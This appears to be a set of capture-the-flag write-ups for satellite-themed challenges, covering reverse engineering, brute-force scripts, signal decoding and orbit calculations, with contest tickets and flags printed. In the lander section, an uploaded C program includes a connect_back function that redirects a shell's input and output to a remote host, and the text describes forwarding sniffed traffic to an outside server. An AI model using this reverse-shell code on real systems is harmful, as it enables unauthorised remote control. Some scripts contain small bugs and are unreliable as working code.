The challenge is presented to us with an endpoint reachable by netcat. Once connected to the remote host, we got a web endpoint valid for 15 minutes. The website presents a dashboard with various features.
Among these, the most interesting were:
- Shell command execution: allows to run shell commands
- Downlink: allows to download files from the remote server
- Uplink: allows to upload files to the server
- Flag enable: allows to provide a file, whose content will be parsed in order to get the flag.
Through the shell command execution, we listed the content of the home directory, downloaded the command output through the downlink feature, found three intersting files and downladed them through downlink.
- attempts.txt
- satellite.exe
- run_space.sh
By analyzing run_space.sh
, we understood that satellite.exe is started when the service is created.
By the file
command, it's easy to notice that satellite.exe
is a ELF 64-bit LSB pie executable
, and by running strings
command on it, it makes use of the flag and contains strings relative to the commands provided in the dashboard. So, we thought that was the binary, running in another environment, to process the dashboard's commands.
Since run_space.sh
saves the flag in the .FlagData file, and it wasn't in the home directory, we opened the binary in IDA to reverse engineer it.
We searched for the .FlagData
string to understand what the binary do with the flag file.
By following references to this string, we found the function sub_5CBF0
. The most relevant lines of code there are
flag_file = std::filebuf::open(flagBuffer, ".FlagData", 8LL);
if ( !(unsigned __int8)std::__basic_file<char>::is_open(v39) )
{
sub_64350((__int64)"Could not open flag data file on startup", 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
goto LABEL_12;
}
//really long code to save flag in memory
remove(".FlagData");
Basically, it opens .FlagData
, reads the content in memory, and deletes the file. Since the binary is able to unlock the flag when provided with the correct input file, we guessed that between file opening and deleting the flag is loaded in some memory position.
At this point, we searched for the flag
string in the binary, to retrieve the part of code that unlocks the flag, and found --- Flag Unlocked ---
. We landed in sub_5D750
.
The routine wasn't easy to reverse engineer, so we proceeded by founding the code that prints Items Parsed
, Valid Items
and Invalid Items
. We found it prints this by calling flag_enable
in the dashboard, and reading the events log. From this, we found that each row in the provided file represents an item to be parsed, since we got a Items Parsed
value that corresponding to the number of rows in the file provided.
By running flag_enable
with the provided attempt.txt
, we figured out it contained some valid values. By the uplink feature, we tried each value one by one, and found that 2
was a valid one. Then, we tried to upload a file containing multiple twos, and each of them was recognizes as valid.
Then, we analyzed the following line of codes
__snprintf_chk(
v112,
128LL,
1LL,
128LL,
"Items Parsed: %lu, Valid Items: %lu, Invalid Items: %u",
parsed_items,
(valid_items[1] - valid_items[0]) >> 2,
(unsigned int)invalid_items);
if ( valid_items[1] - valid_items[0] == 8088 && !(_DWORD)invalid_items )
{
sub_6DBC0(v69, "--- Flag Unlocked ---");
//really long incomprensible code
sub_6DBC0(&v89, "flag.txt");
//other really long incomprensible code
}
Since the number of valid items is computed by (valid_items[1] - valid_items[0]) >> 2
, and the flag is unlocked when the condition valid_items[1] - valid_items[0] == 8088 && !invalid_items
is met, we understood that the flag is unlocked when a file with 2022 valid values and no invalid values is provided. From the subroutine sub_6DBC0(&v89, "flag.txt");
, we guessed that the flag would be written in the flag.txt file.
By uploading a file containing 2022 lines of twos, the flag was unlocked and written to the file flag.txt. We retrieved it with the downlink feature.
"Provide the the quaternion (Qx, Qy, Qz, Qw) to point your spacecraft at the sun at 2022-05-21 14:00:00 UTC The solar panels face the -X axis of the spacecraft body frame or [-1,0,0]"
Both the challenge files have weird extensions, so we started from inspecting the two provided files sat.tle and de440s.bsp to know what we were dealing with. We ended up conclufing that sat.tle is a two-line element set file, while de440s.bsp is a NASA SPICE file (in short it's space data).
At first our approach was to get a rigorous understanding of the provided data but with the hours passing with little to no progress we decided to approach the problem in a more empirical way: minimizing the error returned after every attempt.
Starting from a random attempt which had an error of ~20°, we progressively modified every parameter of the quaternion individually with a "gradient decent" alike method, hoping to not fall into local minimums. After some tentative we got Qx=-0.76 Qy=-0.24 Qz=3.85 Qw=-2.1 with an error lower than 0.1°. It got us the flag!
# import spiceypy as spice
import IPython
from pwn import *
import random
def sendQuad(r, Qx, Qy, Qz, Qw):
r.sendline(bytes(f"{Qx}","utf-8"))
r.recv()
r.sendline(bytes(f"{Qy}","utf-8"))
r.recv()
r.sendline(bytes(f"{Qz}","utf-8"))
r.recv()
r.sendline(bytes(f"{Qw}","utf-8"))
r.recvuntil(b"The solar panels are facing ")
text_degrees=r.recvuntil(b" ")[:-1]
try:
degrees=float(text_degrees)
except:
print(f"Weird: {degrees}")
print(r.recv(timeout=1))
degrees=0
r.recv(timeout=1)
return degrees
def getConnection():
r = connect("sunfun.satellitesabove.me", 5300)
r.recv()
r.sendline(b"ticket{victor124911india3:GPj-mdhCmUhiQuwXdbQR_NgCIvTpcugLY2q08KnUH2XetlpSSpDLVl1GAiCuKcNj0A}")
r.recv()
return r
def brute():
Qx=(random.randint(0,628*2)-(2*314))/100
Qy=(random.randint(0,628*2)-(2*314))/100
Qz=(random.randint(0,628*2)-(2*314))/100
Qw=(random.randint(0,628*2)-(2*314))/100
r=getConnection()
degrees=sendQuad(r, Qx, Qy, Qz, Qw)
print(f"{degrees} Qx={Qx} Qy={Qy} Qz={Qz} Qw={Qw} ")
r.close()
if __name__=="__main__":
context.log_level="warning"
i=0
oldDeg=10000
degrees=10
Qx=-0.76
Qy=-0.24
Qz=3.85
Qw=-2.1
while i<100:
offset= 0.01 if random.randint(0,1)==0 else -0.01
if i%4==0:
old=Qx
Qx+=offset
if i%4==1:
old=Qy
Qy+=offset
if i%4==2:
old=Qz
Qz+=offset
if i%4==3:
old=Qw
Qw+=offset
r=getConnection()
oldDeg=degrees
degrees=sendQuad(r, Qx, Qy, Qz, Qw)
print(f"{degrees} Qx={Qx} Qy={Qy} Qz={Qz} Qw={Qw} ")
if degrees>oldDeg: # revert
if i%4==0:
Qx=old
if i%4==1:
Qy=old
if i%4==2:
Qz=old
if i%4==3:
Qw=old
print(f"reverted to {oldDeg} Qx={Qx} Qy={Qy} Qz={Qz} Qw={Qw} ")
degrees=oldDeg
r.close()
i+=1
IPython.embed()
Do you like inception?
The challenge provided two files, a library (libfoo.so) and a compiled python file (encrypt.pyc). We started inspecting those files. We partially reversed the python file, obtaining:
import argparse
from ctypes import c_void_p, cdll
from numpy.ctypeslib import ndpointer
import numpy as np
def print_matrix(matrix = None, n = None, m = None):
pass
def do_encryption(phrase = None):
Unsupported opcode: JUMP_IF_NOT_EXC_MATCH
np_phrase = np.zeros(8)
np_phrase = np.array(phrase)
"WARNING: Decompyle incomplete"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--data', True, 'Comma seperated string data to encrypt', **('required', 'help'))
args = parser.parse_args()
if args.data:
phrase_in = args.data
ph_list = (lambda .0: [ int(s) for s in .0 ])(phrase_in.split(','))
result = np.zeros(9)
result = do_encryption(ph_list)
flat_result = result.flatten()
flat_result = flat_result.tolist()
print(','.join(map(str, flat_result)))
return None
None('No data processeed')
return None
and then we inspected the other library, which seemed to apply something like an hill cipher for 3x3 matrices.
Then we connected to the online challenge and we saw:
You have inherited a simple encryption dll from previous project
that you must use. It used to work but now it seems it does not.
Given the encryption matrix:
| -3 -3 -4 |
| 0 1 1 |
| 4 3 4 |
...and the phrase 'HACKASAT3'.
Enter the phrase in standard decimal ASCII
and the resulting encrypted list
Example: 'XYZ': 88,89,90
Encrypted list: 1,2,3,4,5,6,7,8
I had simply run:
python encrypt.pyc -d 72,65,67,75,65,83,65,84,51
which provided me as result:
-701,140,773,-726,149,791,-654,134,721
Which I then submitted and provided me the flag:
Enter phrase> 72,65,67,75,65,83,65,84,51
Enter encrypted phrase> -701,140,773,-726,149,791,-654,134,721
Entered phrase: 72,65,67,75,65,83,65,84,51
Encrypted phrase: -701,140,773,-726,149,791,-654,134,721
Computing encrypted phrase...
----------------------------------
Congradulations you got it right!!
Here is your flag: flag{...}
----------------------------------
Small Hashes Anyways
is a reverse challenge on the MicroBalaze architecture. We are provided with a binary and a small MicroBlaze file system.
The first challenge is to actually run the binary, since nobody in our team ever worked on such architecture, but it turned out to be easier than thought, thanks to the provided file system. First of all, we need the correct qemu: qemu-microblaze
, then we need to set the interpreter and the runpath: just place the binary in the MicroBlaze file system's root and use patchelf do the magic: patchelf --set-interpreter ./lib/ld.so.1 --set-rpath ./lib/ ./small_hashes_anyways
.
Finally we are able to run the binary with qemu-microblaze ./small_hashes_anyways
.
At this point we splitted into two groups: static analysis and dynamic analysis. The static analyisis, spent some time trying to get a decompiler for MicroBlaze and read the disassembly directly from the objdump output (the objdump provided with the challenge), but with a super simple dynamic analysis, we were able to solve the challenge.
When run, the binary prints small hashes anyways:
and waits for an input. After receiving some random characters, it outputs: wrong length wanted 109 got {length of the input}
, so we gave him 109 A
s: mismatch 1 wanted 1993550816 got 3554254475
. It looks like an hash, but... "mismatch 1", interesting, maybe it just checks one character at a time. Yes it does, modifying all, but the first character, does not change the output.
At this point is pretty clear what to do: we can just bruteforce one character at a time. This is the final script.
from pwn import *
flag = b""
context.log_level = "warning"
for i in range(109):
for j in range(0x20, 0x80): # Just printable characters
r = process(["qemu-microblaze-static", "./small_hashes_anyways"])
r.recvuntil(b"anyways: \n")
r.sendline((flag + bytes([j])).ljust(109, b"A"))
try:
r.recvuntil(b"mismatch ")
except: # Last time doesn't print "mismatch"
flag += bytes([j])
print("Done")
print(flag)
quit()
msg = int(r.recvuntil(b" ")[:-1])
if msg != i + 1: # We found a new character :D
flag += bytes([j])
print(flag)
r.close()
break
r.close()
else:
print("Nope")
> qemu-microblaze ./small_hashes_anyways
small hashes anyways:
flag{xray323625mike3:GDtRl-RrG5WnYx2SezuayUwy9ho5vtooC-p08gE0riZPlB_4A3Lo8q4SlTrwibV-2MzR1So4FIDwKrH5bhUllrY}
🏀 swish bay bee 😎
Connecting to the server we can send a json configuration setting up the characteristics we want our signal to be modulated. The server parses the configuration and sends the info to download the signal that contains the flag.
A simple configuration is like:
conf = {
'frequency' : 2100000,
'constellation' : 'QPSK' ,
'samples_per_symbol': SAMPLES_PER_SYM,
'diff_encoding' : 'OFF' ,
'amplitude' : 1000.0 ,
}
The flag signal is modulated according to the configuration, where samples_per_symbol indicates how many repeated samples the signal transmits for each single bit.
Amplitude is capped at 1000.
Analysing the resulting signal we can see how after around 256 samples, a much higher and noisy signal starts, which covers our flag signal.
Decoding the flag signal indeed we decode FlagComingSoonFlagComingSoonFla...
and then garbage.
We did not manage to decode the high amplitude signal, but we noticed that even if that signal was noisy, after passing it through a low-pass filter, it was constant across requests.
Thus we can first send a configuation with a huge value in SAMPLES_PER_SYM (e.g., 1000000000000) so that the flag signal will be constant during the transmission, sending always the same bit.
This will be our reference signal, composed by high_amplitude + noise + constant_bit_0
, and by high_amplitude + constant_bit_0 = high_aplitude
after denoising.
Then we can send a configuration with a much smaller SAMPLES_PER_SYM (e.g., 25), having back a signal composed by high_amplitude + noise + flag
, and high_amplitude + flag
after denoising.
Just subtracting and decoding the two signals gives a clean flag:
flag{bravo746361tango3:GIlEZgF3au73_EKidD9zwOlt8qPm3u6TaAd9uWVMT1TDeZ4h5nxGuAwrNVdRCxfbYOXL0ynDkMyA_tjZ0WSCFw8}
After connecting to the challenge with netcat, we are given an address of a web
server where to upload a modified version of the Lander
binary we are given.
The Lander
binary was written in C++, and contains code to connect to a local
server that is listening on localhost port 6000 on the remote machine. Once
connected, the local server sends sensor data to the program, which contains the
current position and acceleration on the three axes (XYZ) and the current G
force felt by the probe.
Each time the program receives sensor data, it is expected to return a command indicating the acceleration to apply on the three axes and two boolean values which control whether to deploy the parachute and whether to activate the heat shield of the probe. This goes on in a loop. At the end of the simulation we are informed by the server about the outcome of the landing (crash or success) through the initial netcat connection.
The main loop of Lander
is pretty straightforward, receiving a fixed-size
"sensor" struct first, calculating a response through an internal FSM, and
sending a fixed-size "command" struct back. The calculations done to generate a
response were handled by a PID
class supposedly emulating the PID controller
of the probe we are trying to land, which was supposedly badly configured and
had parameters and/or code to tweak (by patching the binary) in order to solve
the challenge.
Since we can upload an arbitrary executable, which will then be executed on the remote host, and since the remote machine had network access, we initially uploaded a reverse shell written in C in order to gain more information and maybe dump the remote challenge code. This did not help us much though, as all remote files were owned by a different user and thus inaccessible, and the environment did not contain any information.
Even though the web server provided graphical statistics of the probe landing,
the graphs weren't very accurate, so we coded a wrapper in C which embedded the
Lander
binary patched to connect to port 5999 instead of 6000. Once uploaded
and executed, the wrapper would start a local proxy server on port 5999, unpack
Lander
in /tmp
, execute it, and then proxy all communication between the
Lander
and the actual server on port 6000. This allowed to sniff all the
sensor data and commands and forward it to an external server controlled by us.
Since finishing reversing the Lander
and patching the PID controller that the
program was supposedly emulating was taking too long, we decided to upload a
custom C program written by us that provided a simple immediate response to the
sensor values given by the server:
- If probe velocity on X or Y has modulo higher than 0.05, respond with an acceleration equal in modulus and opposite in sign.
- As soon as the probe velocity reported by the sensors goes under 0.05 for both X and Y, stop accelerating and deploy both the parachute and the heat shield.
This was enough to safely land the probe and get us a flag. Probably not the intended solution, but a lot easier.
Here's the complete code of the program to compile and upload to the web server:
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <math.h>
#define log(...) do { fputs("[wrapper] ", stderr); fprintf(stderr, __VA_ARGS__); } while (0)
#define logcont(...) do { fprintf(stderr, __VA_ARGS__); } while (0)
#define logexit(...) do { fputs("[wrapper] ", stderr); fprintf(stderr, __VA_ARGS__); _exit(1); } while(0)
#define errexit(msg) do { fputs("[wrapper] ", stderr); perror(msg); _exit(1); } while(0)
struct {
float px, py, pz;
float vx, vy, vz;
float g;
} sensor;
struct {
float ax, ay, az;
uint32_t parachute;
uint32_t heat_shield;
} cmd;
unsigned time = 0;
_Static_assert(sizeof(sensor) == 0x1c, "dammit");
_Static_assert(sizeof(cmd) == 0x14, "dammit");
void connect_back(void) {
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
errexit("socket back");
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(31337),
.sin_addr = { .s_addr = inet_addr("REDACTED") }
};
if (connect(sock, (struct sockaddr *)&sa, sizeof(sa)) == -1)
errexit("connect back");
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
}
void react(void) {
float vx = sensor.vx, vy = sensor.vy, vz = sensor.vz;
if (fabs(vx) < 0.05 && fabs(vy) < 0.05) {
cmd.ax = cmd.ay = cmd.az = 0;
cmd.parachute = cmd.heat_shield = 1;
} else {
cmd.ax = -vx;
cmd.ay = -vy;
cmd.az = -vz;
cmd.parachute = 0;
cmd.heat_shield = 0;
}
}
void start_faker(void) {
struct sockaddr_in server_addr = {
.sin_family = AF_INET,
.sin_port = htons(6000),
.sin_addr={ .s_addr = inet_addr("127.0.0.1") }
};
int server_sock = socket(AF_INET, SOCK_STREAM, 0);
if (server_sock == -1)
errexit("socket to server");
if (connect(server_sock, (struct sockaddr *)&server_addr, sizeof(server_addr)))
errexit("connect to server");
while (1) {
ssize_t n;
n = read(server_sock, &sensor, sizeof(sensor));
if (n != sizeof(sensor)) {
if (n < 0)
errexit("read from server");
else
logexit("short read from server: %ld", n);
}
time++;
log("< t=%u pos=(%f %f %f) vel=(%f %f %f) g=%f\n",
time,
sensor.px, sensor.py, sensor.pz,
sensor.vx, sensor.vy, sensor.vz,
sensor.g
);
react();
log("> t=%u acc=(%f %f %f) parachute=%d shield=%d\n",
time, cmd.ax, cmd.ay, cmd.az,
cmd.parachute, cmd.heat_shield
);
n = write(server_sock, &cmd, sizeof(cmd));
if (n != sizeof(cmd)) {
if (n < 0)
errexit("write to server");
else
logexit("short write to server: %ld", n);
}
}
}
int main(void) {
connect_back();
start_faker();
return 0;
}
The challenge comes with an ELF binary built for the Xilinx MicroBlaze 32-bit RISC architecture. After we disassembled the binary using the appropriate version of objdump, we started reverse engineering it using static analysis with the architecture reference on the hand.
The main
function reads an integer and pass it to the quick_maths
function, the result is then checked in the following way:
res = res ^ 1
if res & 0xff:
print flag
In order to solve the challenge, we need to provide a 32bit unsigned integer that passes the check after being modified by the quick_maths
function, so we need to reverse such function.
Since the required input is a 32bit unsigned integer, by re-writing the function in C with also the final check, we are able to brute force the correct value in less than a minute. Below you can find the final C script.
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int quick_maths(uint32_t n)
{
uint32_t r4;
uint32_t r3 = n;
r3 = r3 - 161;
r3 = r3 - 166;
r3 = r3 - 251;
r3 = r3 + 8219;
r3 = r3 / 6;
r3 = r3 - 227;
r3 = r3 - 166;
r3 = r3 / 15;
r3 = r3 - 198;
r3 = r3 - 152;
r3 = r3 - 153;
r3 = r3 + r3;
r3 = r3 + r3;
r3 = r3 + r3;
r3 = r3 + r3;
r3 = r3 + r3;
r3 = r3 + 9624;
r3 = r3 - 254;
r3 = r3 ^ 0x2037841a;
r4 = -r3;
r3 = r4 | r3;
r3 = r3 ^ 0xffffffff;
r4 = r3 >> 31;
r3 = r4;
r3 = r3 & 0xff;
return (r3 ^ 1) & 0xff;
}
int main(void)
{
int i = 0;
for (int i = 0; i < 0x100000000; i++) {
if (quick_maths(i) == 0) {
printf("%d\n", i);
exit(0);
}
}
return 0;
}
The script prints out the correct number that has to be base64 encoded to retrieve the flag from the remote connection.
flag: flag{alpha304440quebec3:GOHJQTY7P5xD9m1M1DYumWLndrCADnljGcXIFxxaBf578_CA8TAdc2k3pCUHJUG7jhi9fjavlZE07of7v5gH0rw}
The challenge comes with a ELF 64-bit binary that reads 3 csv file containing information about edges of a satellite graph. The name of the challenge suggest that it implements the Dijkstra algorithm but that there is somewhere a bug that makes it unable to compute the correct path.
We started analyze statically the binary and we soon figured out that it uses a rust library implementation of the algorithm so there is no possible bug in it. So we started analyzing the way the graph was computer and how the weight of the edges were computed since a first test by running the algorithm in python with the weights in the csv file did not give us the correct solution.
After the analysis process we figured out these two information that lead us to the solution:
- The gateways csv file contains edges that are inverted in the graph computed by the binary: this enables us to compute a directed graph since we have to go from
ShippyMcShipFace
toHonolulu
; - The weight of the edges were computing by multiplying the weights in the csv files with a constant value that depends on the type of target node. Below you can find an implementation of the weight calculation function:
weight = weight_from_csv
if target_name is `ShippyMcShipFace` or `Honolulu`: # type 3
weight *= 1999.9
else if int(target_name[-1]) % 3 == 0: # type 0
weight *= 2.718
else if int(target_name[-1]) % 3 == 1: # type 1
weight *= 3.141
else if int(target_name[-1]) % 3 == 2: # type 2
weight *= 4.04
Once we found out that the binary was computing the shortest path using the Dijkstra algorithm with a custom weight function, we generate the directed graph with the python library networkx
and used its implementation of the Dijkstra algorithm to get the correct path.
import networkx as nx
def read_nodes(f):
nodes = []
with open(f) as f:
f.readline()
for line in f:
name = line.strip().split(',')[1]
weight = line.strip().split(',')[2]
nodes.append((name.replace('Starlunk-', ''), 1999.9 * float(weight)))
return nodes
def read_edges(f):
edges = []
with open(f) as f:
f.readline()
for line in f:
source = line.strip().split(',')[0].replace('Starlunk-', '')
target = line.strip().split(',')[1].replace('Starlunk-', '')
t = int(target[-1]) % 3
if t == 0:
const = 2.718
elif t == 1: 3.141
const = 3.141
else:
const = 4.04
weight = const * float(line.strip().split(',')[2])
edges.append((source, target, weight))
return edges
sources = read_nodes('./users.csv')
targets = read_nodes('./gateways.csv')
G = nx.DiGraph()
G.add_node('ShippyMcShipFace')
G.add_node('Honolulu')
for source in sources:
G.add_node(source[0])
G.add_weighted_edges_from([('ShippyMcShipFace', source[0], source[1])])
for target in targets:
G.add_node(target[0])
G.add_weighted_edges_from([(target[0], 'Honolulu', target[1])])
G.add_weighted_edges_from(read_edges('sats.csv'))
path = nx.dijkstra_path(G, 'ShippyMcShipFace', 'Honolulu')
print(', '.join(path))
The python script prints out the path that has to be submitted to the server to retrieve the flag.
flag: flag{charlie197493mike3:GOQe-mocSo6kvtGD5InCZYb3VwzmsktExxlyK1QG4n4MBYGvar1sybEie8OmT-PxPUhPDZL63PzYLNJ_gh4ep7U}
In this challenge we simply tried sending nan
at every asked question and surprisingly this got us the flag.
We're provided with a CLI endpoint and that gives us a Grafana instance.
After a little exploring of the Grafana environment, we found some contact points that controlled the mission. We also found a database connection that gave us details about the satellite equipment, we decided to plot three graphs regarding:
- the satellite temperature
- the satellite battery
- the detector range
After that, we started the mission and analyzed the behavior of each of these parameters. We found out that the two instruments consume a lot of energy and the laser also heats up the satellite a lot. We also noticed that the laser destroyed the debris only if the range was below 1000.
So we manually run the satellite throttling the detector activity to save battery and activating the laser every time a piece of debris got in range. After a while, the mission CLI printed out the flag.
When connected to the challenge, we are sent a sample of a signal and in return must provide its frequency and signal to noise ratio in dB.
After downloading the sample via netcat (nc url port >sample.bin
), the first
step was to analyze its format. We are told by the server that it is sending
100k samples, and the file is 800k bytes in size, so each sample must be 8 bytes
long. We later (when using gnuradio) learned that the stream was a series of
IQ samples, each being a pair of 4 byte floats.
We applied the fourier transform to the signal to extract the frequency with the highest amplitude. Note that in this script we treat each sample as an 8 byte integer, as we hadn't figured out the IQ format yet.
from scipy.fftpack import fft, fftfreq
import struct
import numpy as np
from math import log10
u64 = lambda x : struct.unpack('<Q', x)[0]
with open('sample.bin', 'rb') as fin:
data = fin.read()
samples = []
for i in range(0, len(data), 8):
samples.append(u64(data[i:i+8]))
N = 100000
T = 1.0/100000
x = np.array(samples)
yf = fft(x)
xf = fftfreq(N, T)[:N//2]
print(yf)
freqs = 2.0/N * np.abs(yf[0:N//2])
pos = np.argmax(freqs[50:])
print(xf[50:][pos])
import matplotlib.pyplot as plt
plt.plot(xf, 2.0/N * np.abs(yf[0:N//2]))
plt.grid()
plt.show()
We tried in multiple ways to obtain the SNR in Python but failed, so we moved
to gnuradio. There, we used the MPSK SNR Estimator
block, feeding it data
through a Throttle
and passing its output to a Tag Debug
block to see the
calculated SNR value.
Finally, sending both values gave us the flag.
The challenge was divided in two main parts:
- tracking the moving satellite
- decoding the resulting signal
Additionally, we know that the flag starts at byte 7200
In this challenge we are on a moving platform and we have to receive a signal from a moving satellite. Both are moving in unknown ways, and we only know that the satellite is "North-ish and sort of close to the horizon" at the start.
Through some manual trial and error, we found a starting position where
we could receive data from to be az = 10, el = 19
. By scripting the interaction,
we could start to dump all the received data, but the satellite eventually moved
away and the connection was lost.
To track the satellite, we developed a simple algorithm:
- If we are receiving data (as measure by its SNR), stay still
- Otherwise, start probing at random positions around the last known good one
Clearly, not a very powerful algorithm, but sufficient for our case and it requires no additional information other than the signal itself. Indeed, we were now able to receive the data and track the satellite as well, obviously losing a chunk of data every time the satellite moved away, but eventually finding it again and receiving more data.
The following is the tracking code, which saves all the data in dump.bin
:
import struct, time, random, math
import numpy as np
from collections import Counter
from pwn import *
def unpack(data):
real, imag = u32(data[:4]), u32(data[4:])
return abs(real + imag * 1j)
def signaltonoise(a, axis=0, ddof=0):
a = np.asanyarray(a)
m = a.mean(axis)
sd = a.std(axis=axis, ddof=ddof)
return 20 * math.log10(np.where(sd == 0, 0, m/sd))
r = remote('power_point.satellitesabove.me', 5100)
r.sendlineafter(b'Ticket please:\n', b'TICKETHERE')
time.sleep(0.2)
r.recvuntil(b'accepts commands at ')
cmd_ip, cmd_port = r.recvline().decode().strip().split(':')
cmd_port = int(cmd_port)
time.sleep(0.2)
r.recvuntil(b'provide samples at ')
ip, port = r.recvline().decode().strip().split(':')
port = int(port)
aud_tcp = remote(ip, int(port))
cmd_tcp = remote(cmd_ip, int(cmd_port))
saved = (0,0)
az, el = 10,19
finding = False
while True:
if finding:
az += random.random() * 2 - 1
el += random.random() * 2 - 1
cmd_tcp.sendline(f'{az},{el}')
data = aud_tcp.recvn(8192)
samples = []
for i in range(0, len(data), 8):
samples.append(unpack(data[i:i+8]))
samples = np.array(samples)
snr = signaltonoise(samples)
print(snr, f'{az},{el}', finding)
with open('dump.bin', 'ab') as fout:
fout.write(data)
if finding:
if snr > 10:
finding = False
else:
az, el = saved
else:
if snr < 10:
finding = True
saved = (az, el)
Even with some gaps, we now had a dump of the data and it was time to decode it. By looking at it in a hex editor, we could clearly see some patterns in a first section and then a change of pattern after that. All the gaps were in the first part, so we were confident that the flag had not been corrupted.
From the previous challenge, we knew that we were most likely dealing with IQ samples, each 8 bytes long, so we started decoding them. With the following code, we started to see some patterns, and especially the fact that the signal was repeating 10 times before changing.
ff = unpack('ff', data[i:i+8])
if ff[0] > 0: x = 0
else: x = 1
if ff[1] > 0: y = 0
else: y = 1
At this point, all we needed was to figure out the order in which the two "channels" (x and y) and to be put together in, and if we had to invert their value or not. Trying all possibilities, it turned out that we were already decoding it correctly.
One last step in getting the flag was to understand that the bytes were send LSB first: this took some trial and error, but in the end was clear from the fact that in every 8 bits the last was set to 0, indicating LSB first ASCII.
Decoding code:
from struct import unpack
with open('dump.bin', 'rb') as fin:
data = fin.read()
val_idx = 0
val_x = 0
val_y = 0
s = '.*oX'
nums = []
for i in range(7200*80*4, len(data), 80):
# for i in range(0, len(data), 80):
ff = unpack('ff', data[i:i+8])
if ff[val_idx] > 0: x = val_x
else: x = 1 - val_x
if ff[1 - val_idx] > 0: y = val_y
else: y = 1 - val_y
x = x*2+y
nums.append(x)
if len(nums) == 4:
y = {
'o': '01',
'*': '10',
'X': '00',
'.': '11'
}
res = ''
for x in nums:
res += y[s[x]]
print(chr(int(res[::-1], 2)), end='')
nums = []
nc crosslinks.satellitesabove.me 5300
The input of the challenge was a series of TLEs of some satellites, alongside with some observations (each one expressed in the form [TIME, RANGE, RANGE_RATE]) taken from some of them. The goal was finding the satellite all the observations were related to.
Since we had a set of measurements with a range and a range rate, we tried to find the answer by picking a random satellite and an observation made from that satellite, then computing these values from scratch for every pair (chosen_sat, other_sat) at the same time of the observation, and finally choosing the satellite which, paired with the chosen satellite, gave the closest range value to the one we already had.
The script for doing this was:
from skyfield.api import load as skyload
from skyfield.api import EarthSatellite
from skyfield.toposlib import wgs84
from pwn import *
import re
from dateutil import parser
from numpy import array2string
ts = skyload.timescale()
r = remote("crosslinks.satellitesabove.me", 5300)
ticket = "ticket{romeo909745lima3:GAFhyj2pJADQTly13s58qm8hwSON4WeHUhhYSn3Jq2d7438cEOZv3A30ZuCGBxHxZg}"
print(r.sendlineafter(":\n", ticket).decode())
r.recvline()
satellites = {}
observations = {}
while True:
while True:
name = r.recvline().decode().strip()
print(name)
if name == "Measurements":
break
line1 = r.recvline().decode().strip()
line2 = r.recvline().decode().strip()
satellite = EarthSatellite(line1, line2, name, ts)
satellites[name] = satellite
name = r.recvline().decode().strip().replace("Observations ", '')
observations[name] = []
while True:
r.recvline()
while True:
line = r.recvline().decode().strip()
if re.compile("Obser*").match(line):
name = line.replace("Observations ", '')
observations[name] = []
break
if line == "What satellite am I:":
break
line = line.split(',')
curr = {}
curr['ts'] = line[0]
curr['range'] = line[1].replace(' ', '')
curr['rate_range'] = line[2].replace(' ', '')
observations[name].append(curr)
if line == "What satellite am I:":
break
keys = list(observations.keys())
sat_name = keys[0]
sat_observations_list = observations[sat_name]
current_observation = sat_observations_list[0]
d = parser.parse(current_observation['ts'])
t = ts.utc(d.year, d.month, d.day, d.hour, d.minute, d.second)
currMin = (float('inf'), 'a')
for sat in satellites.keys():
currSat = satellites[sat]
currSatPos = currSat.at(t)
bluffton = wgs84.latlon(200.0, 800.0)
currPos = (satellites[sat_name] - currSat).at(t)
_, _, the_range, _, _, range_rate = \
currPos.frame_latlon_and_rates(bluffton)
if (abs(float(the_range.km) - float(current_observation['range'])) < currMin[0]):
currMin = (abs(float(the_range.km) - float(current_observation['range'])), sat)
r.sendline(currMin[1])
print(r.recvline().decode())
print(r.recvline().decode())
r.recvline()